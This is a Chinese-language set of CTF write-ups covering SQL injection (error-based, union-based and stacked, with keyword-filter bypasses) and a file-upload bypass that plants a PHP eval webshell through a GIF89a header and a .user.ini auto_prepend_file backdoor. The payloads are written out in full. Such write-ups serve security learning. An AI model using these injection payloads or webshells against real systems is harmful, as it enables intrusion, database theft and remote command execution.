[极客大挑战 2019]HardSQL(报错注入)
尝试
1 and 1=1 #永真式
1 and 1=2 #若永假式 #若永假式运行错误,则说明此SQL注入为数字型注入
1' and '1'='1
1' and '1'='2 #若永假式运行错误,则说明此SQL注入为字符型注入
回显的页面均为
尝试报错注入
一.先试一下updatexml注入
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
可以拿到数据库:
继续查表名,构造payload:
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
拿到表名:
继续查列名,payload为:
admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
得到
改进一下
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
继续构造payload:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
可以拿到一半flag
1:空格被过滤可以使用/**/或者()绕过
2:=号被过滤可以用like来绕过
3:substring与mid被过滤可以用right与left来绕过
所以这里如果要得到右边的flag的话,就要用right来构造了,直接看构造好的payload:
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
拿到右边的flag
去掉重复的,拼接上就可以了
二.使用extractvalue注入
1.爆数据库名
1'^extractvalue(1,concat(0x7e,(database())))#
2.爆表名
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
3.爆列名
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
4.爆数据(flag前半段)
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
5.flag后半段
1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#
参考:
[SUCTF 2019]CheckIn(.user.ini,<?绕过)
上传一句话木马,抓包
随便改一下后缀名
发现过滤了
将一句话木马进行一些修改
<script language="php">eval($_GET['cmd']);</script>
exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — 判断一个图像的类型
说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
说明题目后端会截取上传的文件的头部一部分进行判断是否为图像文件
GIF89a图片头文件欺骗
GIF89a? <script language="php">eval($_GET['cmd']);</script>
回显:
一句话木马上传上去了,但上传上去只进行了一半,因为一句话木马不是php脚本,所以无法被解析运行。所以需要进行文件包含漏洞
在进行文件包含漏洞之前,我们先了解一下.user.ini文件:
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、
PHP_INI_PERDIR、
PHP_INI_ALL、
PHP_INI_USER。
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file ; 指定一个文件,自动包含在要执行的文件前。 auto_prepend_file ; 指定一个文件,自动包含在要执行的文件后。
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
1.上传user.ini
GIF89a auto_prepend_file=1.jpg
前面要加上GIF89a,来绕过检测。
回显:
2.上传1.jpg
GIF89a <script language='php'>system('cat /flag');</script>
回显:
访问(点击两次exectue)
或者
得到
[GXYCTF2019]BabySQli
题目:
点击search.php,得到
可以看到有一串类似base32的数据(大写的字母和数字),尝试进行base32解码,得到base64的数据,继续解码得到后端处理过的sql语句
select * from user where username = '$name'
发现没有验证密码,并且注入点是在username上的,admin测试一下,随便输入一个密码,返回wrong pass!
换一个用户名试试,返回wrong user!
得到了这个sql语句,意思是我们需要传入个name变量,然后我们构造payload,因为我们需要post传参,抓包
a' union select 1,2,3#
a' union select 1,'admin',3#
我们把admin 放到第二个位置 不报错
这样我们就得到第二个字段就是我们的username字段
查看源代码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/(|)|=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
已知123的md5值是202cb962ac59075b964b07152d234b70。
构造payload:
name=a' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
得到flag。
[GYCTF2020]Blacklist(堆叠注入)
既然有个1那就先输入1查询一下吧
返回了一个数组
再加一个单引号,出现报错,说明存在SQL注入
我们尝试使用堆叠注入
为了防止输入1时的干涉,我们输入0(单纯输入0是不会出现任何回应的)
0';show databases;#
得到数据库名
我们来查询FlagHere这个表格列名
0';show columns from FlagHere;#
0';select flag from `FlagHere`;#
本来是直接查询flag就可以了,但是此时提示不能出现以下关键词
/**/可以绕过检查,所以修改payload
0';sel/**/ect flag from `FlagHere`;#
但是竟然什么都没有,看别人的wp中提到了Handler
构造payload:
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
Handler语法
handler语句,一行一行的浏览一个表中的数据 handler语句并不具备select语句的所有功能。 mysql专用的语句,并没有包含到SQL标准中。 HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
1、HANDLER tbl_name OPEN
打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
2、HANDLER tbl_name READ FIRST
获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
3、HANDLER tbl_name CLOSE
关闭打开的句柄。
4、HANDLER tbl_name READ index_name = value
通过索引列
指定一个值,可以指定从哪一行开始,通过NEXT继续浏览
参考: